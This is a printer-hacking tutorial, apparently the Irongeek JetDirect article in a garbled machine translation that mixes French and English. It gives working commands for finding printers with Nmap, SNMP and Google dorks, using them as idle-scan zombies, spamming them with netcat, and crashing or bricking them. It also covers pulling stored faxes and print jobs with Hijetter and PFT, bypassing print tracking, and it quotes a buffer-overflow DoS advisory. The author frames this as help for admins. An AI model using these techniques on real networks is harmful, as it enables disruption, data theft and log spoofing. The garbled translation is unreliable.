Trouver des imprimantes réseau avec Nmap et outils SNMP Utiliser Nmap sous Linux (préférable) ou Windows permet de rechercher des JetDirect et d’autres imprimantes réseau assez facile. Les commandes Nmap que je vais montrer dans cette section sont très simples et pas très furtifs, vous voudrez peut-être consulter le Nmap Page MAN ou un bon tutoriel Nmap pour plus d’idées. Vous pouvez utiliser une simple commande Nmap comme: nmap -A 192.168.1. * pour analyser la plage 192.168.1.1-255 pour les ports communs et faire un Le système d'exploitation et la version détectent les systèmes trouvés. La sortie de la commande ci-dessus ressemblerait à ceci:

Irongeek: ~ # nmap -A 192.168.1. * Lancement de nmap 3.81 (http://www.insecure.org/nmap/) le 2005-09-08 15h12 HAE Ports intéressants sur igprinter (192.168.1.93): (Les 1656 ports analysés mais non illustrés ci-dessous sont dans l'état: fermé) VERSION DU SERVICE ÉTAT DU PORT 21 / tcp open ftp HP JetDirect ftpd 23 / tcp ouvrir telnet? 80 / tcp ouvrir http HP Jetdirect httpd 280 / tcp ouvrir http HP Jetdirect httpd 515 / tcp ouvre sdmsvc LANDesk Software Distribution (sdmsvc.exe) 631 / tcp ouvre http HP Jetdirect httpd 9100 / tcp open jetdirect? Type de périphérique: imprimante | serveur d'impression En cours d'exécution: HP Embedded Détails du système d'exploitation: imprimante / serveur d'impression HP LaserJet Nmap terminé: 1 adresse IP (1 hôte en hausse) scannée en 120,963 secondes

Irongeek: ~ #

Il y a un problème avec la simple commande ci-dessus. Si vous utilisez une version de Nmap antérieure à 3.90 sur un réseau imprimantes, il créera des tâches d'impression avec le texte suivant:

GET / HTTP / 1.0 OPTIONS / HTTP / 1.0 OPTIONS / RTSP / 1.0

sur chacune des feuilles imprimées, gaspillant beaucoup de papier. Ce arrive parce que Nmap recherche la détection de version sur le port 9100 / tcp, il envoie certaines des demandes de sondage du fichier nmap-service-sondes pour savoir quel service fonctionne sur le port 9100 / tcp. Comme la boîte JetDirect ne comprend pas quoi il est envoyé, il imprime simplement les sondes et vous vous retrouvez avec un tas de ordures imprimées. Le moyen le plus simple de résoudre ce problème consiste à effectuer une mise à niveau vers Nmap 3.90 ou mieux, mais à part cela, il existe une solution de contournement. Une solution meilleure et plus rapide pourrait consister à ne rechercher que ports d’imprimante réseau courants autres que 9100 (Remarque: vous pouvez vouloir désactiver -T fou pour des raisons de furtivité / bande passante):

nmap -A -p 21,23,80,280,515,631 192.168.1. * -T fou

ou peut-être pas utiliser le -A (ce qui revient à faire un -sV -sO ensemble) option du tout et juste utiliser -sO pour détecter le système d'exploitation en cours d'exécution, mais pas envoyer sondes aux ports pour savoir si les versions de service sont en cours d'exécution. Pendant que nous y sommes, Il peut être intéressant d’exécuter également une analyse UDP sur le boîtier JetDirect.

Irongeek: ~ # nmap -sU 192.168.1. * Démarrer nmap 3.81 (http://www.insecure.org/nmap/ ) au 2005-09-11 06:21 EDT Ports intéressants sur 192.168.1.93: (Les 1474 ports analysés mais non illustrés ci-dessous sont dans l'état: fermé) SERVICE ÉTAT DU PORT 137 / udp ouvert | netbios-ns filtré 161 / udp open | filter snmp 427 / udp ouvert | filtré svrloc 32768 / udp open | filtré Adresse MAC: 00: 60: B0: 6D: 47: C6 (Hewlett-Packard CO.) Nmap terminé: 1 adresse IP (1 hôte en hausse) scannée en 86.238 secondes

Irongeek: ~ #

Comme vous pouvez le voir, nous avons trouvé pas mal de ports à examiner. Je vais passer en revue certaines des choses que vous pouvez faire avec les dans un peu. En passant, vous remarquerez peut-être que le port 137 / udb de NMB est ouvert, ce qui signifie que vous pourrez peut-être trouver des imprimantes sur le réseau local via le service de noms NetBIOS.

À propos, pour trouver Ricoh Savins sur Sur le réseau, vous pouvez utiliser une commande Nmap qui ressemble à ceci:

Irongeek: / # nmap -A 192.168.1.3 -T fou Démarrer nmap 3.81 (http://www.insecure.org/nmap/ ) au 2005-09-09 23:49 EDT Ports intéressants sur 192.168.1.3: (Les 1656 ports analysés mais non illustrés ci-dessous sont dans l'état: fermé) VERSION DU SERVICE ÉTAT DU PORT 21 / tcp open ftp 23 / tcp ouvrir telnet? 80 / tcp open http? 514 / tcp shell ouvert? 515 / tcp open printer lpd (erreur: demande de service illégale) 631 / tcp open ipp? 9100 / tcp open jetdirect? 5 services non reconnus malgré le retour des données. Si vous connaissez le service / version, veuillez soumettre les empreintes digitales suivantes à l’adresse http://www.insecure.org/cgi-bin/servicefp-submit.cgi : ============== NEXT empreinte digitale de service (soumettre INDIVIDUELLEMENT =============== … Omis pour la sécurité et l'espace les raisons… Adresse MAC: 00: 00: 74: 80: 7C: B8 (Ricoh Company) Type d'appareil: usage général En cours d'exécution: NetBSD Détails du système d'exploitation: NetBSD 1.3I à 1.6 Disponibilité 6.506 jours (depuis le sam. 3 sept. 11:42:37 2005) Nmap terminé: 1 adresse IP (1 hôte en hausse) scannée en 94.690 secondes

Irongeek: / #

Notez que le Ricoh Savins ont beaucoup des mêmes ports ouverts que les HP JetDirect, mais que le système d'exploitation est détecté comme étant NetBSD (il fonctionnera même sur votre grille-pain). Étant donné que de nombreuses imprimantes réseau répondent au protocole SNMP Un autre excellent moyen de les trouver consiste à utiliser un outil d'analyse de service SNMP. Ricoh met un bon outil pour trouver et configurer de nombreuses imprimantes réseau appelé SmartDeviceMonitor. SmartDeviceMonitor semble manquer certaines imprimantes réseau qui ne sont pas Savins, mais si vous utilisez Richo Les imprimantes Savin Aficio sur votre réseau sont un excellent outil pour localiser et interroger leur.

http://www.ricoh-usa.com/products/product_features.asp?pCategoryId=

19 & pSubCategoryId = 46 & pCatName = Solutions & pSubCatName =

Dispositif% 20Management & pProductId = 67 & pProductName = SmartDeviceMonitor & tsn = Ricoh-USA

Le SNScan de Foundstone dans un autre bon choix:

http://www.foundstone.com/resources/proddesc/snscan.htm

ou NetScan de Softperfect si vous activez les options de recherche SNMP:

http://www.softperfect.com/products/networkscanner/

Une troisième troisième façon vous pourrait trouver des imprimantes réseau (si vous êtes sur le même sous-réseau) est d'utiliser Nmap ou Cain faire un balayage ARP et chercher des cases avec une adresse MAC appartenant à Hewlett Packard, Ricoh ou un autre fournisseur d’imprimantes. Ce sont susceptibles imprimantes réseau.

Trouver des imprimantes avec Google Parfois pour Les administrateurs de services mettront des liens vers les interfaces Web de leurs imprimantes Site intranet afin qu’ils puissent facilement les administrer ou extraire les documents stockés. Bien, Parfois, un intranet n'est pas vraiment un intranet mais est accessible via le L'Internet. Google is a great way to find these printers. Here are a few search strings that may be of interest: Ricoh Savins (Since these printer frequently store documents where to can be downloaded this can be a real killer for security)

intitle:"web image monitor"

"/web/user/en/websys/webArch/mainFrame.cgi"

inurl:"/en/sts_index.cgi" HP Jetdirects (Varies greatly from model to model) inurl:hp/device/this.LCDispatcher CUPS Connected Printers

inurl:":631/printers" -php -demo Try combining the above with the Google "site:" parameter to restrict the search to just certain organizations. For more information on Google Hacking visit http://johnny.ihackstuff.com and search their database of useful Google search strings for "Printers". I obtained some of the above search strings from Johnny's site.

Finding info about the printer using SNMP tools Using the tools from

http://net-snmp.sourceforge.net on a Linux box can yield a great deal of information about a network, assuming no firewalls are blocking the SNMP port (161/udp). The greatly truncated output below should give you some idea as to the kind of information you can get using snmpwalk, including other hosts on the same network, their IPs and MAC addresses and the features of the printer along with it's firmware revision. If you are using a Debian based distribution on Linux try the "apt-get install snmp" command to get these tools.

root@Cthulhu:~# snmpwalk -v 1 -c public 192.168.1.2

SNMPv2-MIB::sysDescr.0 = STRING: HP ETHERNET MULTI-ENVIRONMENT,ROM H_06_01,JETDIRECT EX,JD34,EEPROM H.08.49 SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.11.2.3.9.1 SNMPv2-MIB::sysUpTime.0 = Timeticks: (1358074910) 157 days, 4:25:49.10 SNMPv2-MIB::sysContact.0 = STRING: SNMPv2-MIB::sysName.0 = STRING: NPI6D47C6 SNMPv2-MIB::sysLocation.0 = STRING: SNMPv2-MIB::sysServices.0 = INTEGER: 64 IF-MIB::ifNumber.0 = INTEGER: 1 IF-MIB::ifIndex.1 = INTEGER: 1 IF-MIB::ifDescr.1 = STRING: HP ETHERNET MULTI-ENVIRONMENT,ROM H_06_01,JETDIRECT EX,JD34,EEPROM H.08.49 IF-MIB::ifType.1 = INTEGER: ethernetCsmacd(6) …Omitted for security and space reasons… IF-MIB::ifOutQLen.1 = Gauge32: 0 IF-MIB::ifSpecific.1 = OID: SNMPv2-SMI::zeroDotZero.0 RFC1213-MIB::atIfIndex.1.1.192.168.19.16 = INTEGER: 1 …Omitted for security and space reasons… RFC1213-MIB::atIfIndex.1.1.192.168.31.254 = INTEGER: 1 RFC1213-MIB::atIfIndex.1.1.24.0.1.60 = INTEGER: 1 RFC1213-MIB::atPhysAddress.1.1.192.168.19.16 = Hex-STRING: 00 0A 95 A6 6C 00 …Omitted for security and space reasons… RFC1213-MIB::atPhysAddress.1.1.192.168.31.254 = Hex-STRING: 00 0F 34 E8 DC 38 RFC1213-MIB::atPhysAddress.1.1.24.0.1.60 = Hex-STRING: 01 00 5E 00 01 3C RFC1213-MIB::atNetAddress.1.1.192.168.19.16 = Network Address: 95:A0:13:10 …Omitted for security and space reasons… RFC1213-MIB::atNetAddress.1.1.192.168.31.254 = Network Address: 95:A0:1F:FE RFC1213-MIB::atNetAddress.1.1.24.0.1.60 = Network Address: E0:00:01:3C IP-MIB::ipForwarding.0 = INTEGER: notForwarding(2) je…Omitted for security and space reasons… IP-MIB::ipAdEntAddr.192.168.1.2 = IpAddress: 192.168.1.2 …Omitted for security and space reasons… IP-MIB::ipNetToMediaIfIndex.1.192.168.19.16 = INTEGER: 1 je…Omitted for security and space reasons… IP-MIB::ipNetToMediaIfIndex.1.192.168.31.254 = INTEGER: 1 IP-MIB::ipNetToMediaIfIndex.1.24.0.1.60 = INTEGER: 1 IP-MIB::ipNetToMediaPhysAddress.1.192.168.19.16 = STRING: 0:a:95:a6:6c:0 …Omitted for security and space reasons… IP-MIB::ipNetToMediaPhysAddress.1.192.168.31.254 = STRING: 0:f:34:e8:dc:38 …Omitted for security and space reasons… IP-MIB::ipNetToMediaNetAddress.1.192.168.31.254 = IpAddress: 192.168.31.254 …Omitted for security and space reasons… IP-MIB::ipNetToMediaType.1.192.168.31.254 = INTEGER: dynamic(3) IP-MIB::ipNetToMediaType.1.24.0.1.60 = INTEGER: dynamic(3) IP-MIB::ipRoutingDiscards.0 = Counter32: 2801 …Omitted for security and space reasons… IP-MIB::icmpOutAddrMaskReps.0 = Counter32: 0 TCP-MIB::tcpRtoAlgorithm.0 = INTEGER: vanj(4) TCP-MIB::tcpRtoMin.0 = INTEGER: 10 milliseconds TCP-MIB::tcpRtoMax.0 = INTEGER: 120000 milliseconds …Omitted for security and space reasons… TCP-MIB::tcpRetransSegs.0 = Counter32: 20 TCP-MIB::tcpConnState.192.168.1.2.21.0.0.0.0.0 = INTEGER: listen(2) TCP-MIB::tcpConnLocalAddress.192.168.1.2.21.0.0.0.0.0 = IpAddress: 192.168.1.2 TCP-MIB::tcpConnLocalPort.192.168.1.2.21.0.0.0.0.0 = INTEGER: 21 TCP-MIB::tcpConnRemAddress.192.168.1.2.21.0.0.0.0.0 = IpAddress: 0.0.0.0 TCP-MIB::tcpConnRemPort.192.168.1.2.21.0.0.0.0.0 = INTEGER: 0 TCP-MIB::tcpInErrs.0 = Counter32: 0 TCP-MIB::tcpOutRsts.0 = Counter32: 17832 UDP-MIB::udpInDatagrams.0 = Counter32: 8374653 UDP-MIB::udpNoPorts.0 = Counter32: 8135924 UDP-MIB::udpInErrors.0 = Counter32: 22054 UDP-MIB::udpOutDatagrams.0 = Counter32: 363574 UDP-MIB::udpLocalAddress.0.0.0.0.68 = IpAddress: 0.0.0.0 UDP-MIB::udpLocalPort.0.0.0.0.68 = INTEGER: 68 UDP-MIB::udpLocalAddress.192.168.1.2.137 = IpAddress: 192.168.1.2

The above command works well on Jetdirects, Richo Savins and other common network printers that support SNMP. If you don't know the proper SNMP community name a quick sniff of the network with Ettercap or Dsniff should revel it to you iif the admin is using using SNMP version 1 or 2. Most times the community name will just be the default "public". Using a JetDirect box as an Nmap Idlescan Zombie While I'm on the topic of Nmap and JetDirect boxes, they make great bouncers for stealth Idle scans (also know as Zombie scans) since their IPIDs are incremental. Fondamentalement what happen is the Nmap scan is bounced off of the JetDirect box and any logs on the target will show the IP of the JetDirect box as being the attacker. There are a few problems with these kinds of scans, the biggest being that they are VERY slow. For more details on  Idle scans  see the following URL:

http://www.insecure.org/nmap/idlescan.html

and the Nmap MAN page:

-sI Idlescan: This advanced scan method allows for a truly blind TCP port scan of the target (meaning no packets are sent to the target from your real IP address). Instead, a unique side-channel attack exploits predictable "IP frag- mentation ID" sequence generation on the zombie host to glean information about the open ports on the target. IDS systems will display the scan as coming from the zombie machine you specify (which must be up and meet certain criteria). je wrote an informal paper about this technique at http://www.inse- cure.org/nmap/idlescan.html .

Besides being extraordinarily stealthy (due to its blind nature), this scan type permits mapping out IP-based trust relationships between machines. le port listing shows open ports from the perspective of the zombie host. So you can try scanning a target using various zombies that you think might be trusted (via router/packet filter rules). Obviously this is crucial information when prioritizing attack targets. Otherwise, you penetration testers might have to expend considerable resources "owning" an intermediate system, only to find out that its IP isn't even trusted by the target host/network you are ultimately after.

You can add a colon followed by a port number if you wish to probe a particular port on the zombie host for IPID changes. Otherwise Nmap will use the port it uses by default for "tcp pings".

Here is an example of Nmap being run using a JetDirect box as a bouncer. I've used the -P0 option so that the host running Nmap does not ping the target first, lessening the stealth value by giving away the scanners true IP.

Irongeek:~# nmap -P0 -sI 192.168.1.93 Irongeek.irongeek.com Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2005-09-08 17:22 EDT Idlescan using zombie 192.168.1.93 (192.168.1.93:80); Class: Incremental Interesting ports on 192.168.1.5: (The 1654 ports scanned but not shown below are in state: closed|filtered) PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 110/tcp open pop3 111/tcp open rpcbind 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 587/tcp open submission Nmap finished: 1 IP address (1 host up) scanned in 35.262 seconds

Irongeek:~#

Now, if 192.168.1.5 looks at its logs it will appear that 192.168.1.93 (the JetDirect box) was doing the scan. Sneaky!

Setting up a direct IP printer in Windows and Linux Setting up a direct IP printer can be useful from time to time; here are a few reasons why you might want to set up one up: 1. Your main print server is unreliable. 2. Sometimes cutting out the middle man make a print job work when normally it would not. Some PDFs used to give me fits when I used a Window 2000 server to host print shares, but printing directly to the IP printer worked like a charm.

3. To bypass access rights to a printer or to get around print tracking software like Pharos Uniprint or Equitrac. Rather then waste space on how to set up direct IP printing in Windows I'll point you to Microsoft's howto:

http://www.microsoft.com/technet/prodtechnol/windowsserver2003/

library/ServerHelp/25468cbe-faab-424c-aae5-ddd333436c0d.mspx and HP's:

http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=bpj06391 If you wish to script the installation in Windows check out:

https://engineering.purdue.edu/ECN/Resources/KnowledgeBase/Docs/20040216090320 For you Linux users it's pretty easy to set up a direct IP printer too. Make sure you have CUPS (Commun Unix Printing System) installed (for us Debian folks: apt-get install cupsys). Most Linux distributions have a GUI setup wizard now, but you can also add a direct IP printer from the shell by using a command like the following:

foomatic-configure -s cups -n My-Remote-JetDirect -c socket://192.168.1.2:9100/ Of course, you will want to change the IP and maybe the name to reflect your network and printer setup. If for some reason http://192.168.4.2:631/printer http://192.168.4.2:631/ipp

Spamming Printers I'm rather surprised with the amount of E-mail, Net Message and Fax spam that know one seems to have tried Printer Spam. First, the attacker would need to have something to iterate though printers. I wrote a quick tool for Linux and Windows call IPIterator that does just this:

http://www.irongeek.com/i.php?page=security/ipiterator The following example assumes that port 9100/tcp is open past the firewall (don't laugh, I've seen it), but with some motification I'm pretty sure it could be made to work with IPP and FTP enabled printers too. All one has to do is generate a PostScript or PCL file with the content they want to send it the spam message. The Windows "Printer to File" option works well for this. In a pinch a plain old text file will also work. Then they can use Netcat and IPIterator to send the print job to a whole IP range of printers.

Irongeek@Irongeek:~# ./ipiterator 192.168.3.1-5,25,"cat spam.prn|netcat -q 0 ~ip 9100" cat spam.prn|netcat -q 0 192.168.3.1 9100 Starting thread 1 cat spam.prn|netcat -q 0 192.168.3.2 9100 Starting thread 2 cat spam.prn|netcat -q 0 192.168.3.3 9100 Starting thread 3 cat spam.prn|netcat -q 0 192.168.3.4 9100 Starting thread 4 cat spam.prn|netcat -q 0 192.168.3.5 9100 Starting thread 5 DONE Irongeek@Irongeek:~#

Evil I know, maybe I should not have mentioned it as now it may become more common. This facility might also be legitimately useful for sending out mass messages on a network where your work.

Side note on a Pharos Uniprint vulnerability While this is not directly related to the article's main topic I thought that some of you would be interested in knowing about a vulnerability with the Pharos Uniprint system. Il ressemble à Pharos Uniprint saves the last print jobs sent to a printer into C:Program FilesPharosTempPORT*.PRN as a simple PCL print job which is readable by everyone on the Windows box by default. With a quick NetCat command (seen later in this article in the sniffing and replay section) or an FTP of the file to a JetDirect box it's easy to see what others have been printing out on that Windows workstation.  Not very secure huh?  It seems that Pharos did fix this in later versions, as Edward Burhenn stated in his email to me:

This was a "bug" in an older version of Pharos for which a hot fix was released: The application of Pharos 7.0 Hot Fix 1 ensures that no more spool file copies will be retained after print jobs for both Popups and non-Popups printers. Existing copies of old spool files in the …PharosTemp folder will need to be deleted manually. To avoid any further confusion could you post an update to the article, perhaps directing folk to the hot fix which can be downloaded from our website: http://www.pharos.com/Support/index.html? Merci, Ed Edward Burhenn Technical Specialist

DoSing the network or the printer As should be obvious by now for those that have been paying attention, it's pretty trivial to cause a DoS (Denial of Service) attack with a JetDirect box that's not password protected. A deviant user could just use the telnet or web interface to set the IP of the JetDirect to the same IP as the gateway –  instant routing confusion. Un autre option for network mayhem would be to set the host name of the JetDirect box to that of another box on the network. This would mess a few things up if the facility uses dynamic DNS for host names. Also notice form the UDP port scan show earlier that the JetDirect box is running the NetBIOS naming service, so changing the host name on a Windows network could cause name resolution problems. As for DoSing the printer, if someone wanted to be a dick they could just hop onto their *nix box and cat their hard drive to the printer, causing a print job the size of the local hard drive: cat /dev/hda|netcat -q 0 192.168.1.2 9100 Much the same thing could be accomplished by FTPing your swap file to a JetDirect box that accepts FTP print jobs. Another thing that could be done is to upload a corrupted firmware to the JetDirect box. This can be done by obtaining the HP Download Manager from:

http://www.hp.com/go/dlm_sw and then attempting an upgrade of the firmware, but stopping the process halfway though. The JetDirect will be non responsive until a full firmware is uploaded again. An interesting side note, you can upgrade the firmware on a JetDirect even if you don't know the JetDirect's system password. Why HP did not require a password for a firmware update I have no idea;  it just seems like common sense that they would. From reading Slobotron's article (linked at the bottom) it would seem you can also upgrade the firmware with Netcat. On a lark I decided to test out the effects of connect to port 9100/tcp and holding the connection using the Telnet command. I tested it on a Ricoh Savin Aficio 2045e and a JetDirect 300x  (J3263A) and the result was that the connection to port 9100/tcp seems to be single threaded. While I held the Telnet connection to port 9100 no other print jobs could be sent to the printer! The connection should timeout after awhile. Imagine if someone used an active connection on the LAN and a command like: ./ipiterator 192.168.1.*,25,"telnet ~ip 9100" to knock out printing to a whole LAN! See the section above for more info on IPIterator. Because of the relatively weak IP stacks in most network printers there are a lot of other little Denial of Service exploits. I recommend checking out http://www.securityfocus.com/bid/ for more DoS attacks. One of the more interesting attacks to be found recently (12/19/2006)comes form researcher Joxean Koret. I've got to thank the Pauldotcom pod cast (episode 55) for pointing it out to me.  It seems that Mr. Koret found a flaw in some HP Jetdirect's that permanently bricks the printer server to the point it has to be sent back to HP to be fixed. For those that don't understand the term "brick" it means that the device has be made inoperatable because of a bad firmware or an electrical problem. This is a serious flaw since it effectively turns the JetDirect into a paperweight. In Joxean Koret's words:

HP FTP Printer Server Denial Of Service ————————————— Author: Joxean Koret Date: 2006 Location: Basque Country Affected Software —————– Vendor: Hewlett Packard Description: HP Printers FTP Server Denial Of Service La description ———– A problem exists in almost any currently used HP Printer with the FTP Print Server. Version 2.4 of the FTP Print Server will crash with only one shoot. Version 2.4.5, which is latest, will need various shoots (the number de shoots needed is currently unknow). While playing with my own FTP Fuzzer I tried finding flaws in HP's Printers. After trying with 5 printers I found the problem in all of celles-ci. The problem is a buffer overflow in the LIST and NLST commander. Dans version 2.4 a single shoot sending a LIST command with a long string (about 256 characters) is sufficient enough to test the vulnerability. Take care trying it because two of my printers were crashed complètement (you will need to make use of your warranty ;]). Against 2.4 versions it can crash the complete printer and be unresponsive even after rebooting it. In version 2.4.5 (which is the latest) you need to send various fois long shoots to the parameter LIST (a single shoot will not crash, printer will answer with a "Path too long" message). You will need à send various times a LIST command with long strings. When trying avec other commands you will see that no problem is raised and the imprimante will always be responsive. After a successfull attack you may complètement crash your printer (i.e., calling technical support to fix your écrasé printer). The problem can be easily triggered by using any FTP fuzzing tool. Vous can crash your printer in about 10 second(s) in a LAN. The printer models I used in my tests are: * HP LaserJet 5000 Series (firmware R.25.15 / R.25.47) * HP LaserJet 5100 Series (firmware V.29.12) Attached goes POCs for the vulnerabilities. Workaround ———- Disable the FTP print server as, surely, you aren't using it. Avertissement ———- The information in this advisory and any of its demonstrations is provided "as is" without any warranty of any kind. I am not liable for any direct or indirect damages caused as a résultat de using the information or demonstrations provided in any part of this advisory. Contact ——- Joxean Koret < joxeankoret [at] yah00 [D0T] es > – ———————————– Agian, agian, egun batez jeikiko dira egiazko Ziberotarrak, egiazko euskaldunak, tirano arrotzen hiltzeko eta gure aiten aitek utzi daikien lurraren populiari erremetitzeko. ———————————–

It is not yet know which JetDirect print servers are effected by this exploit as few people want to take the chance of destroying their own. I've mirrored his two proof of concept scripts if anyone would like to test them and let me know which JetDirects it works on: jd-dos2.4.5.py jd-dos2.4.py MITRE lists this bug as CVE-2006-6742. The buffer overflow in the LIST an NLST commands seem to overwrite part of the firmware so my best guess is that cheaper print servers without flash memory like the 170x are probably safe. From what I'm hearing HP is not taking this threat as seriously as they should given that someone could cripple printing for days at a corporation using this exploit and a tool like IPIterator. The only know fix as of yet is a preventative one, and that is to turn off the JetDirect's FTP service or to block port 21/TCP at the border of the network the print server is on. If anyone has more information on this flaw please email me. See: http://www.security.nnov.ru/Gnews955.html for more info on this vulnerability. By the way, don't be the kind of person that would use one of the above techniques, I only mention them so that admins know what they need to guard against. Update 01/20/2007: Looks like HP may have fixed this issue with a newer firmware:

http://www.securitytracker.com/alerts/2007/Jan/1017532.html Still, if anyone has more information please email me.

Changing the LCD display text using HPhack, IGhphack or Hijetter This is an old hack (1997) and does not     accomplish much, but it is fun! Silicosis of L0pht     (sili@l0pht.com) wrote the original     exploit code for *nix  systems and someone else ported it to NT/2000/XP     based systems. Although it's been out there for a long time, it still works     on every HP printer/JetDirect box I have seen. What the HP display hack     allows you to do is set the text that displays on the little LCD panel of an     HP printer. It accomplishes this over the network by sending packets to a     JetDirect box hooked to the printer (or built into it). The first thing you need to do is find     out the IP or hostname of the JetDirect box that services the printer. Vous     can do this in one of at least three ways. The first way is by hitting the     little test button on the JetDirect box that's connected to the printer. Si     the JetDirect card is built in you may have to go through the menus and     choose "Print Configuration". Another way is to go into your "Printers and     Faxs" settings, right click and bring up the properties of the printer in     question, and look under the Ports tab for the hostname (npi******). Une fois que     you have this information it's easy to run Silicosis ' little hack. To run it from Windows just use the     following syntax: hpnt Hostname Message Windows Example:

C:>hpnt npi769e71 "Irongeek" HP Display hack — sili@l0pht.com Hostname: npi769e71 Message: Irongeek Connecting…. Sent 54 bytes C:>hpnt 192.168.1.14 "Irongeek Also" HP Display hack — sili@l0pht.com Hostname: 192.168.1.14 Message: Irongeek Also Connecting…. Sent 59 bytes C:>

Si tu veux     run it from Linux download the source code at the bottom of this section and     compile it using gcc. The syntax is the same as the Windows version. Below     is an example of how to compile and run it:

[root@balrog root]# gcc -o hphack hp.c hp.c:28:12: warning: multi-line string literals are deprecated [root@balrog root]# ./hphack 192.168.1.14  "Irongeek" HP Display hack — sili@l0pht.com Hostname: 192.168.1.14 Message: Irongeek Connecting…. Sent 54 bytes [root@balrog root]#

A few ideas for messages: "Hey Baby", "X was Here",       "I see You", "Redrum", "Kill". Enjoy. If you like you can download Silicosis hack from one of these links: Unix Source Windows Source Windows Binary I'm working on my own GUI version with extra features; its web page can be found here:

http://www.irongeek.com/i.php?page=security/jetdirecthack Unfortunately it's pretty buggy. The easiest tool to use may be Hijetter by FtR of Phenoelit, which is covered in the next section.

Phenoelit's Hijetter and PFT Hijetter seems to be the Swiss army knife of HP JetDirect hacking. It can control a JetDirect box with PJL commands, and works even if a password is set (at least on my HP JetDirect 300X).You can download the binary and the source code for this app from:

http://www.phenoelit.de/hp/download.html Below is a screen show of Hijetter 's interface.  To use Hijetter just type in the IP or host name of your JetDirect box and click the connect icon. You should notice that a few of the icons at the bottom of the interface light up.

You can only use the icons that are lit up. The first icon, from left to right, lets you control the file system on the JetDirect (if it has one), the next icon lets you make changes to the settings and the last icon lets you set the text that displace on the LCD screen. I'll cover these tasks in reverse order since I'm contrary like that.

Setting the LCD Display with Hijetter

1. After you have connected to the JetDirect box click the LCD Display icon. 2. Type in the message you want the printers LCD to display. 3. If you check the "Failure" radio button the printer will stop printing until someone hits the ok/continue/online button on the printer, or it's reset. 4. Click the confirm button and your message should now appear on the printers LCD.

Changing settings with Hijetter

1. After you have connected to the JetDirect box click the settings icon.

2. Find the environmental variable you want to change and type in the value you want to set it to, keeping in mind the limitations listed in the "Info" panel.

3. Use the assign button

to set your change. An M should appear next to the variable you changed.

4. Click the confirm button

and you're done.

Using Hijetter to treat some JetDirect boxes as files/web servers

1. After you have connected to the JetDirect box click the File System icon.

2. Use the arrows to transfer files to and from your client to the JetDirect box. Keep in mind that you can only transfer one file at a time with Hijetter.

3. The New Folder and Delete icons can be used for their obvious functions.

4. Click the confirm button

and you're done.

Finding stored faxes and print jobs on Jetdirect printers

Look around the file system and download any files that looks interesting. Most of them don't have obvious file extensions so open them up in a text editor and look at the headers to try and figure out what they are. Here are a few of the things I've found by searching around this way:

Emplacement What I've found

/saveDevice/DigitalSend/jobs Jpegs with names like DS000848.005 that seem to be either print jobs or Faxes .

/FaxOut Tif files from sent Faxes

/FaxIn PCL files from received Faxes. See my NetCat and FTP tricks later for more information on how to print them.

/Fax/act.log Seems to be a log of phone numbers where things have be faxed to or from. Could be useful for social engineering.

Also notice that the Hewlett-Packard LaserJet 4100 MFP we connected to has a 20Gig hard drive, which makes for a great place to hide and serve large files. I've noticed on the MFP a file can be uploaded to:

/webserver/home/

and can be accessed from the printers web interface at:

http://192.168.1.4/hp/device/

For example, if you used Hijetter to upload "naughtylinuxgirls.avi" to "/webserver/home/" it can be accessed from the web with the URL:

http://192.168.1.4/hp/device/naughtylinuxgirls.avi

Feel free to put your homepage on a printer. 🙂

If you're a *nix or Window command line boy, don't despair. The same folks from Phenoelit have provided PFT, a command line utility that can do many of the same things as Hijetter. It can be downloaded and installed with these commands:

mkdir pjllib cd pjllib wget http://www.phenoelit.de/hp/libPJL-1.3-src.tgz tar -xzf libPJL-1.3-src.tgz faire cd pft/ faire

Here is an example of what it looks like on the command line after you bring up the help page; look at all of the options:

Irongeek:/home/adrian/pjllib/pft# ./pft PFT – PJL file transfer FX of Phenoelit Version 0.7 ($Revision: 1.8 $) pft> Aidez-moi Aidez-moi quitter serveur [hostname] Port [port number] relier Fermer env show message "Display Msg" failure "Failure Msg" volumes chvol [vol:] pwd ls cd [directory] mkdir [directory] rm [file] obtenir [file] mettre [local file] ajouter [local file] [file] lpwd lcd [directory] session temps libre [timeout] pause pft>

PFT also has some limited scripting ability by piping in commands from a text file as this example shows:

Irongeek:/home/adrian/pjllib/pft# cat mypftscript.txt server 192.168.31.213 relier ls quitter Irongeek:/home/adrian/pjllib/pft# ./pft <mypftscript.txt PFT – PJL file transfer FX of Phenoelit Version 0.7 ($Revision: 1.8 $) pft> Server set to 192.168.31.213 pft> Connected to 192.168.31.213:9100 Device: HP LaserJet 4100 MFP pft> 0: . – d .. – d PermStore – d PostScript – d PJL – d saveDevice – d cpbLog 5227 – Fax – d solution – d webServer – d FaxOut – d FaxIn – d pft>

Irongeek:/home/adrian/pjllib/pft#

Since Phenoelit  provides the source code it could be an interesting project to write new automated tools for extracting information from remote JetDirect boxes.

Using IP ACLs to restrict access One of the few way that HP gives you to lock down a printer is IP ACLs (Access Control Lists). Other network printer manufactures offer similar functionality. While the syntax may differ a little form JetDirect to JetDirect the basics are the same. Sur newer JetDirects you can use the web interface to restrict what IPs can connect to the printer (normally you just want the CUPS or Windows print server to connect) but on most all of them you can use the Telnet interface to restrict what IPs can connect. This log should give you an idea of how the "acl allow: ip" command is used:

Irongeek@Irongeek:~# telnet 192.168.1.22 Trying 192.168.1.22… Connected to 192.168.1.22. Escape character is '^]'. HP JetDirect Password: passer You are logged in Please type "?" for HELP, or "/" for current settings >

